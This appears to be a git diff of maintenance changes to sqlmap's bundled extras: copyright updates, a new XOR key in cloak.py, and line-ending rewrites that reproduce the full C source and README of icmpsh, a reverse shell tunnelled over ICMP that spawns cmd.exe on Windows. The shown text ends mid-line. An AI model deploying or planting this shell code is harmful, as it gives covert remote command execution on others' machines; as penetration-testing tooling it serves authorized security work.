(https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index 77cef7c4219..4b0d70d0c41 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -3,7 +3,7 @@ """ cloak.py - Simple file encryption/compression utility -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -21,7 +21,7 @@ xrange = range ord = lambda _: _ -KEY = b"ENWsCymUeJcXqSbD" +KEY = b"ZCuk6GdHSj4KtgDq" def xor(message, key): return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message))) @@ -43,8 +43,6 @@ def decloak(inputFile=None, data=None): print(ex) print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile) sys.exit(1) - finally: - f.close() return data diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/extra/dbgtool/__init__.py +++ b/extra/dbgtool/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index c8e0c97339c..7cdb11b70c1 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -3,7 +3,7 @@ """ dbgtool.py - Portable executable to ASCII debug script converter -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/icmpsh/README.txt b/extra/icmpsh/README.txt index 631f9ee377f..d09e83b8552 100644 --- a/extra/icmpsh/README.txt +++ b/extra/icmpsh/README.txt @@ -1,45 +1,45 @@ -icmpsh - simple reverse ICMP shell - -icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl. - - ---- Running the Master --- - -The master is straight forward to use. There are no extra libraries required for the C version. -The Perl master however has the following dependencies: - - * IO::Socket - * NetPacket::IP - * NetPacket::ICMP - - -When running the master, don't forget to disable ICMP replies by the OS. For example: - - sysctl -w net.ipv4.icmp_echo_ignore_all=1 - -If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive -commands send from the master. - - ---- Running the Slave --- - -The slave comes with a few command line options as outlined below: - - --t host host ip address to send ping requests to. This option is mandatory! - --r send a single test icmp request containing the string "Test1234" and then quit. - This is for testing the connection. - --d milliseconds delay between requests in milliseconds - --o milliseconds timeout of responses in milliseconds. If a response has not received in time, - the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit. - The counter is set back to 0 if a response was received. - --b num limit of blanks (unanswered icmp requests before quitting - --s bytes maximal data buffer size in bytes - - -In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer. +icmpsh - simple reverse ICMP shell + +icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl. + + +--- Running the Master --- + +The master is straight forward to use. There are no extra libraries required for the C version. +The Perl master however has the following dependencies: + + * IO::Socket + * NetPacket::IP + * NetPacket::ICMP + + +When running the master, don't forget to disable ICMP replies by the OS. For example: + + sysctl -w net.ipv4.icmp_echo_ignore_all=1 + +If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive +commands send from the master. + + +--- Running the Slave --- + +The slave comes with a few command line options as outlined below: + + +-t host host ip address to send ping requests to. This option is mandatory! + +-r send a single test icmp request containing the string "Test1234" and then quit. + This is for testing the connection. + +-d milliseconds delay between requests in milliseconds + +-o milliseconds timeout of responses in milliseconds. If a response has not received in time, + the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit. + The counter is set back to 0 if a response was received. + +-b num limit of blanks (unanswered icmp requests before quitting + +-s bytes maximal data buffer size in bytes + + +In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer. diff --git a/extra/icmpsh/icmpsh-m.c b/extra/icmpsh/icmpsh-m.c index 32c3edb7429..95deb603bc0 100644 --- a/extra/icmpsh/icmpsh-m.c +++ b/extra/icmpsh/icmpsh-m.c @@ -1,134 +1,134 @@ -/* - * icmpsh - simple icmp command shell - * Copyright (c) 2010, Nico Leidecker - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define IN_BUF_SIZE 1024 -#define OUT_BUF_SIZE 64 - -// calculate checksum -unsigned short checksum(unsigned short *ptr, int nbytes) -{ - unsigned long sum; - unsigned short oddbyte, rs; - - sum = 0; - while(nbytes > 1) { - sum += *ptr++; - nbytes -= 2; - } - - if(nbytes == 1) { - oddbyte = 0; - *((unsigned char *) &oddbyte) = *(u_char *)ptr; - sum += oddbyte; - } - - sum = (sum >> 16) + (sum & 0xffff); - sum += (sum >> 16); - rs = ~sum; - return rs; -} - -int main(int argc, char **argv) -{ - int sockfd; - int flags; - char in_buf[IN_BUF_SIZE]; - char out_buf[OUT_BUF_SIZE]; - unsigned int out_size; - int nbytes; - struct iphdr *ip; - struct icmphdr *icmp; - char *data; - struct sockaddr_in addr; - - - printf("icmpsh - master\n"); - - // create raw ICMP socket - sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); - if (sockfd == -1) { - perror("socket"); - return -1; - } - - // set stdin to non-blocking - flags = fcntl(0, F_GETFL, 0); - flags |= O_NONBLOCK; - fcntl(0, F_SETFL, flags); - - printf("running...\n"); - while(1) { - - // read data from socket - memset(in_buf, 0x00, IN_BUF_SIZE); - nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); - if (nbytes > 0) { - // get ip and icmp header and data part - ip = (struct iphdr *) in_buf; - if (nbytes > sizeof(struct iphdr)) { - nbytes -= sizeof(struct iphdr); - icmp = (struct icmphdr *) (ip + 1); - if (nbytes > sizeof(struct icmphdr)) { - nbytes -= sizeof(struct icmphdr); - data = (char *) (icmp + 1); - data[nbytes] = '\0'; - printf("%s", data); - fflush(stdout); - } - - // reuse headers - icmp->type = 0; - addr.sin_family = AF_INET; - addr.sin_addr.s_addr = ip->saddr; - - // read data from stdin - nbytes = read(0, out_buf, OUT_BUF_SIZE); - if (nbytes > -1) { - memcpy((char *) (icmp + 1), out_buf, nbytes); - out_size = nbytes; - } else { - out_size = 0; - } - - icmp->checksum = 0x00; - icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); - - // send reply - nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); - if (nbytes == -1) { - perror("sendto"); - return -1; - } - } - } - } - - return 0; -} - +/* + * icmpsh - simple icmp command shell + * Copyright (c) 2010, Nico Leidecker + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define IN_BUF_SIZE 1024 +#define OUT_BUF_SIZE 64 + +// calculate checksum +unsigned short checksum(unsigned short *ptr, int nbytes) +{ + unsigned long sum; + unsigned short oddbyte, rs; + + sum = 0; + while(nbytes > 1) { + sum += *ptr++; + nbytes -= 2; + } + + if(nbytes == 1) { + oddbyte = 0; + *((unsigned char *) &oddbyte) = *(u_char *)ptr; + sum += oddbyte; + } + + sum = (sum >> 16) + (sum & 0xffff); + sum += (sum >> 16); + rs = ~sum; + return rs; +} + +int main(int argc, char **argv) +{ + int sockfd; + int flags; + char in_buf[IN_BUF_SIZE]; + char out_buf[OUT_BUF_SIZE]; + unsigned int out_size; + int nbytes; + struct iphdr *ip; + struct icmphdr *icmp; + char *data; + struct sockaddr_in addr; + + + printf("icmpsh - master\n"); + + // create raw ICMP socket + sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); + if (sockfd == -1) { + perror("socket"); + return -1; + } + + // set stdin to non-blocking + flags = fcntl(0, F_GETFL, 0); + flags |= O_NONBLOCK; + fcntl(0, F_SETFL, flags); + + printf("running...\n"); + while(1) { + + // read data from socket + memset(in_buf, 0x00, IN_BUF_SIZE); + nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); + if (nbytes > 0) { + // get ip and icmp header and data part + ip = (struct iphdr *) in_buf; + if (nbytes > sizeof(struct iphdr)) { + nbytes -= sizeof(struct iphdr); + icmp = (struct icmphdr *) (ip + 1); + if (nbytes > sizeof(struct icmphdr)) { + nbytes -= sizeof(struct icmphdr); + data = (char *) (icmp + 1); + data[nbytes] = '\0'; + printf("%s", data); + fflush(stdout); + } + + // reuse headers + icmp->type = 0; + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = ip->saddr; + + // read data from stdin + nbytes = read(0, out_buf, OUT_BUF_SIZE); + if (nbytes > -1) { + memcpy((char *) (icmp + 1), out_buf, nbytes); + out_size = nbytes; + } else { + out_size = 0; + } + + icmp->checksum = 0x00; + icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); + + // send reply + nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); + if (nbytes == -1) { + perror("sendto"); + return -1; + } + } + } + } + + return 0; +} + diff --git a/extra/icmpsh/icmpsh-s.c b/extra/icmpsh/icmpsh-s.c index af30618f9b5..c108509774d 100644 --- a/extra/icmpsh/icmpsh-s.c +++ b/extra/icmpsh/icmpsh-s.c @@ -1,344 +1,344 @@ -/* - * icmpsh - simple icmp command shell - * Copyright (c) 2010, Nico Leidecker - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - -#include -#include -#include -#include -#include -#include - -#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8) - -#define STATUS_OK 0 -#define STATUS_SINGLE 1 -#define STATUS_PROCESS_NOT_CREATED 2 - -#define TRANSFER_SUCCESS 1 -#define TRANSFER_FAILURE 0 - -#define DEFAULT_TIMEOUT 3000 -#define DEFAULT_DELAY 200 -#define DEFAULT_MAX_BLANKS 10 -#define DEFAULT_MAX_DATA_SIZE 64 - -FARPROC icmp_create, icmp_send, to_ip; - -int verbose = 0; - -int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write) -{ - SECURITY_ATTRIBUTES sattr; - STARTUPINFOA si; - HANDLE in_read, out_write; - - memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES)); - memset(pi, 0x00, sizeof(PROCESS_INFORMATION)); - - // create communication pipes - memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES)); - sattr.nLength = sizeof(SECURITY_ATTRIBUTES); - sattr.bInheritHandle = TRUE; - sattr.lpSecurityDescriptor = NULL; - - if (!CreatePipe(out_read, &out_write, &sattr, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - - if (!CreatePipe(&in_read, in_write, &sattr, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) { - return STATUS_PROCESS_NOT_CREATED; - } - - // spawn process - memset(&si, 0x00, sizeof(STARTUPINFO)); - si.cb = sizeof(STARTUPINFO); - si.hStdError = out_write; - si.hStdOutput = out_write; - si.hStdInput = in_read; - si.dwFlags |= STARTF_USESTDHANDLES; - - if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) { - return STATUS_PROCESS_NOT_CREATED; - } - - CloseHandle(out_write); - CloseHandle(in_read); - - return STATUS_OK; -} - -void usage(char *path) -{ - printf("%s [options] -t target\n", path); - printf("options:\n"); - printf(" -t host host ip address to send ping requests to\n"); - printf(" -r send a single test icmp request and then quit\n"); - printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY); - printf(" -o milliseconds timeout in milliseconds\n"); - printf(" -h this screen\n"); - printf(" -b num maximal number of blanks (unanswered icmp requests)\n"); - printf(" before quitting\n"); - printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE); - printf("In order to improve the speed, lower the delay (-d) between requests or\n"); - printf("increase the size (-s) of the data buffer\n"); -} - -void create_icmp_channel(HANDLE *icmp_chan) -{ - // create icmp file - *icmp_chan = (HANDLE) icmp_create(); -} - -int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout) -{ - int rs; - char *temp_in_buf; - int nbytes; - - PICMP_ECHO_REPLY echo_reply; - - temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE); - if (!temp_in_buf) { - return TRANSFER_FAILURE; - } - - // send data to remote host - rs = icmp_send( - icmp_chan, - target, - out_buf, - out_buf_size, - NULL, - temp_in_buf, - max_in_data_size + ICMP_HEADERS_SIZE, - timeout); - - // check received data - if (rs > 0) { - echo_reply = (PICMP_ECHO_REPLY) temp_in_buf; - if (echo_reply->DataSize > max_in_data_size) { - nbytes = max_in_data_size; - } else { - nbytes = echo_reply->DataSize; - } - memcpy(in_buf, echo_reply->Data, nbytes); - *in_buf_size = nbytes; - - free(temp_in_buf); - return TRANSFER_SUCCESS; - } - - free(temp_in_buf); - - return TRANSFER_FAILURE; -} - -int load_deps() -{ - HMODULE lib; - - lib = LoadLibraryA("ws2_32.dll"); - if (lib != NULL) { - to_ip = GetProcAddress(lib, "inet_addr"); - if (!to_ip) { - return 0; - } - } - - lib = LoadLibraryA("iphlpapi.dll"); - if (lib != NULL) { - icmp_create = GetProcAddress(lib, "IcmpCreateFile"); - icmp_send = GetProcAddress(lib, "IcmpSendEcho"); - if (icmp_create && icmp_send) { - return 1; - } - } - - lib = LoadLibraryA("ICMP.DLL"); - if (lib != NULL) { - icmp_create = GetProcAddress(lib, "IcmpCreateFile"); - icmp_send = GetProcAddress(lib, "IcmpSendEcho"); - if (icmp_create && icmp_send) { - return 1; - } - } - - printf("failed to load functions (%u)", GetLastError()); - - return 0; -} -int main(int argc, char **argv) -{ - int opt; - char *target; - unsigned int delay, timeout; - unsigned int ip_addr; - HANDLE pipe_read, pipe_write; - HANDLE icmp_chan; - unsigned char *in_buf, *out_buf; - unsigned int in_buf_size, out_buf_size; - DWORD rs; - int blanks, max_blanks; - PROCESS_INFORMATION pi; - int status; - unsigned int max_data_size; - - // set defaults - target = 0; - timeout = DEFAULT_TIMEOUT; - delay = DEFAULT_DELAY; - max_blanks = DEFAULT_MAX_BLANKS; - max_data_size = DEFAULT_MAX_DATA_SIZE; - - status = STATUS_OK; - if (!load_deps()) { - printf("failed to load ICMP library\n"); - return -1; - } - - // parse command line options - for (opt = 1; opt < argc; opt++) { - if (argv[opt][0] == '-') { - switch(argv[opt][1]) { - case 'h': - usage(*argv); - return 0; - case 't': - if (opt + 1 < argc) { - target = argv[opt + 1]; - } - break; - case 'd': - if (opt + 1 < argc) { - delay = atol(argv[opt + 1]); - } - break; - case 'o': - if (opt + 1 < argc) { - timeout = atol(argv[opt + 1]); - } - break; - case 'r': - status = STATUS_SINGLE; - break; - case 'b': - if (opt + 1 < argc) { - max_blanks = atol(argv[opt + 1]); - } - break; - case 's': - if (opt + 1 < argc) { - max_data_size = atol(argv[opt + 1]); - } - break; - default: - printf("unrecognized option -%c\n", argv[1][0]); - usage(*argv); - return -1; - } - } - } - - if (!target) { - printf("you need to specify a host with -t. Try -h for more options\n"); - return -1; - } - ip_addr = to_ip(target); - - // don't spawn a shell if we're only sending a single test request - if (status != STATUS_SINGLE) { - status = spawn_shell(&pi, &pipe_read, &pipe_write); - } - - // create icmp channel - create_icmp_channel(&icmp_chan); - if (icmp_chan == INVALID_HANDLE_VALUE) { - printf("unable to create ICMP file: %u\n", GetLastError()); - return -1; - } - - // allocate transfer buffers - in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); - out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); - if (!in_buf || !out_buf) { - printf("failed to allocate memory for transfer buffers\n"); - return -1; - } - memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); - memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); - - // sending/receiving loop - blanks = 0; - do { - - switch(status) { - case STATUS_SINGLE: - // reply with a static string - out_buf_size = sprintf(out_buf, "Test1234\n"); - break; - case STATUS_PROCESS_NOT_CREATED: - // reply with error message - out_buf_size = sprintf(out_buf, "Process was not created\n"); - break; - default: - // read data from process via pipe - out_buf_size = 0; - if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) { - if (out_buf_size > 0) { - out_buf_size = 0; - rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL); - if (!rs && GetLastError() != ERROR_IO_PENDING) { - out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError()); - } - } - } else { - out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError()); - } - break; - } - - // send request/receive response - if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) { - if (status == STATUS_OK) { - // write data from response back into pipe - WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0); - } - blanks = 0; - } else { - // no reply received or error occured - blanks++; - } - - // wait between requests - Sleep(delay); - - } while (status == STATUS_OK && blanks < max_blanks); - - if (status == STATUS_OK) { - TerminateProcess(pi.hProcess, 0); - } - - return 0; -} - +/* + * icmpsh - simple icmp command shell + * Copyright (c) 2010, Nico Leidecker + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + + +#include +#include +#include +#include +#include +#include + +#define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8) + +#define STATUS_OK 0 +#define STATUS_SINGLE 1 +#define STATUS_PROCESS_NOT_CREATED 2 + +#define TRANSFER_SUCCESS 1 +#define TRANSFER_FAILURE 0 + +#define DEFAULT_TIMEOUT 3000 +#define DEFAULT_DELAY 200 +#define DEFAULT_MAX_BLANKS 10 +#define DEFAULT_MAX_DATA_SIZE 64 + +FARPROC icmp_create, icmp_send, to_ip; + +int verbose = 0; + +int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write) +{ + SECURITY_ATTRIBUTES sattr; + STARTUPINFOA si; + HANDLE in_read, out_write; + + memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES)); + memset(pi, 0x00, sizeof(PROCESS_INFORMATION)); + + // create communication pipes + memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES)); + sattr.nLength = sizeof(SECURITY_ATTRIBUTES); + sattr.bInheritHandle = TRUE; + sattr.lpSecurityDescriptor = NULL; + + if (!CreatePipe(out_read, &out_write, &sattr, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + + if (!CreatePipe(&in_read, in_write, &sattr, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + + // spawn process + memset(&si, 0x00, sizeof(STARTUPINFO)); + si.cb = sizeof(STARTUPINFO); + si.hStdError = out_write; + si.hStdOutput = out_write; + si.hStdInput = in_read; + si.dwFlags |= STARTF_USESTDHANDLES; + + if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) { + return STATUS_PROCESS_NOT_CREATED; + } + + CloseHandle(out_write); + CloseHandle(in_read); + + return STATUS_OK; +} + +void usage(char *path) +{ + printf("%s [options] -t target\n", path); + printf("options:\n"); + printf(" -t host host ip address to send ping requests to\n"); + printf(" -r send a single test icmp request and then quit\n"); + printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY); + printf(" -o milliseconds timeout in milliseconds\n"); + printf(" -h this screen\n"); + printf(" -b num maximal number of blanks (unanswered icmp requests)\n"); + printf(" before quitting\n"); + printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE); + printf("In order to improve the speed, lower the delay (-d) between requests or\n"); + printf("increase the size (-s) of the data buffer\n"); +} + +void create_icmp_channel(HANDLE *icmp_chan) +{ + // create icmp file + *icmp_chan = (HANDLE) icmp_create(); +} + +int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout) +{ + int rs; + char *temp_in_buf; + int nbytes; + + PICMP_ECHO_REPLY echo_reply; + + temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE); + if (!temp_in_buf) { + return TRANSFER_FAILURE; + } + + // send data to remote host + rs = icmp_send( + icmp_chan, + target, + out_buf, + out_buf_size, + NULL, + temp_in_buf, + max_in_data_size + ICMP_HEADERS_SIZE, + timeout); + + // check received data + if (rs > 0) { + echo_reply = (PICMP_ECHO_REPLY) temp_in_buf; + if (echo_reply->DataSize > max_in_data_size) { + nbytes = max_in_data_size; + } else { + nbytes = echo_reply->DataSize; + } + memcpy(in_buf, echo_reply->Data, nbytes); + *in_buf_size = nbytes; + + free(temp_in_buf); + return TRANSFER_SUCCESS; + } + + free(temp_in_buf); + + return TRANSFER_FAILURE; +} + +int load_deps() +{ + HMODULE lib; + + lib = LoadLibraryA("ws2_32.dll"); + if (lib != NULL) { + to_ip = GetProcAddress(lib, "inet_addr"); + if (!to_ip) { + return 0; + } + } + + lib = LoadLibraryA("iphlpapi.dll"); + if (lib != NULL) { + icmp_create = GetProcAddress(lib, "IcmpCreateFile"); + icmp_send = GetProcAddress(lib, "IcmpSendEcho"); + if (icmp_create && icmp_send) { + return 1; + } + } + + lib = LoadLibraryA("ICMP.DLL"); + if (lib != NULL) { + icmp_create = GetProcAddress(lib, "IcmpCreateFile"); + icmp_send = GetProcAddress(lib, "IcmpSendEcho"); + if (icmp_create && icmp_send) { + return 1; + } + } + + printf("failed to load functions (%u)", GetLastError()); + + return 0; +} +int main(int argc, char **argv) +{ + int opt; + char *target; + unsigned int delay, timeout; + unsigned int ip_addr; + HANDLE pipe_read, pipe_write; + HANDLE icmp_chan; + unsigned char *in_buf, *out_buf; + unsigned int in_buf_size, out_buf_size; + DWORD rs; + int blanks, max_blanks; + PROCESS_INFORMATION pi; + int status; + unsigned int max_data_size; + + // set defaults + target = 0; + timeout = DEFAULT_TIMEOUT; + delay = DEFAULT_DELAY; + max_blanks = DEFAULT_MAX_BLANKS; + max_data_size = DEFAULT_MAX_DATA_SIZE; + + status = STATUS_OK; + if (!load_deps()) { + printf("failed to load ICMP library\n"); + return -1; + } + + // parse command line options + for (opt = 1; opt < argc; opt++) { + if (argv[opt][0] == '-') { + switch(argv[opt][1]) { + case 'h': + usage(*argv); + return 0; + case 't': + if (opt + 1 < argc) { + target = argv[opt + 1]; + } + break; + case 'd': + if (opt + 1 < argc) { + delay = atol(argv[opt + 1]); + } + break; + case 'o': + if (opt + 1 < argc) { + timeout = atol(argv[opt + 1]); + } + break; + case 'r': + status = STATUS_SINGLE; + break; + case 'b': + if (opt + 1 < argc) { + max_blanks = atol(argv[opt + 1]); + } + break; + case 's': + if (opt + 1 < argc) { + max_data_size = atol(argv[opt + 1]); + } + break; + default: + printf("unrecognized option -%c\n", argv[1][0]); + usage(*argv); + return -1; + } + } + } + + if (!target) { + printf("you need to specify a host with -t. Try -h for more options\n"); + return -1; + } + ip_addr = to_ip(target); + + // don't spawn a shell if we're only sending a single test request + if (status != STATUS_SINGLE) { + status = spawn_shell(&pi, &pipe_read, &pipe_write); + } + + // create icmp channel + create_icmp_channel(&icmp_chan); + if (icmp_chan == INVALID_HANDLE_VALUE) { + printf("unable to create ICMP file: %u\n", GetLastError()); + return -1; + } + + // allocate transfer buffers + in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); + out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); + if (!in_buf || !out_buf) { + printf("failed to allocate memory for transfer buffers\n"); + return -1; + } + memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); + memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); + + // sending/receiving loop + blanks = 0; + do { + + switch(status) { + case STATUS_SINGLE: + // reply with a static string + out_buf_size = sprintf(out_buf, "Test1234\n"); + break; + case STATUS_PROCESS_NOT_CREATED: + // reply with error message + out_buf_size = sprintf(out_buf, "Process was not created\n"); + break; + default: + // read data from process via pipe + out_buf_size = 0; + if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) { + if (out_buf_size > 0) { + out_buf_size = 0; + rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL); + if (!rs && GetLastError() != ERROR_IO_PENDING) { + out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError()); + } + } + } else { + out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError()); + } + break; + } + + // send request/receive response + if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) { + if (status == STATUS_OK) { + // write data from response back into pipe + WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0); + } + blanks = 0; + } else { + // no reply received or error occured + blanks++; + } + + // wait between requests + Sleep(delay); + + } while (status == STATUS_OK && blanks < max_blanks); + + if (status == STATUS_OK) { + TerminateProcess(pi.hProcess, 0); + } + + return 0; +} + diff --git a/extra/icmpsh/icmpsh.exe_ b/extra/icmpsh/icmpsh.exe_ index 0944508047e..4388012aba6 100644 Binary files a/extra/icmpsh/icmpsh.exe_ and b/extra/icmpsh/icmpsh.exe_ differ diff --git a/extra/runcmd/runcmd.exe_ b/extra/runcmd/runcmd.exe_ index 26448b5dcb1..20cfaa497a4 100644 Binary files a/extra/runcmd/runcmd.exe_ and b/extra/runcmd/runcmd.exe_ differ diff --git a/extra/runcmd/src/runcmd.sln b/extra/runcmd/src/runcmd.sln index 0770582d092..a70c648d0dc 100644 --- a/extra/runcmd/src/runcmd.sln +++ b/extra/runcmd/src/runcmd.sln @@ -1,20 +1,20 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Win32 = Debug|Win32 - Release|Win32 = Release|Win32 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32 - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32 - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32 - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal + +Microsoft Visual Studio Solution File, Format Version 9.00 +# Visual Studio 2005 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32 + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32 + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = 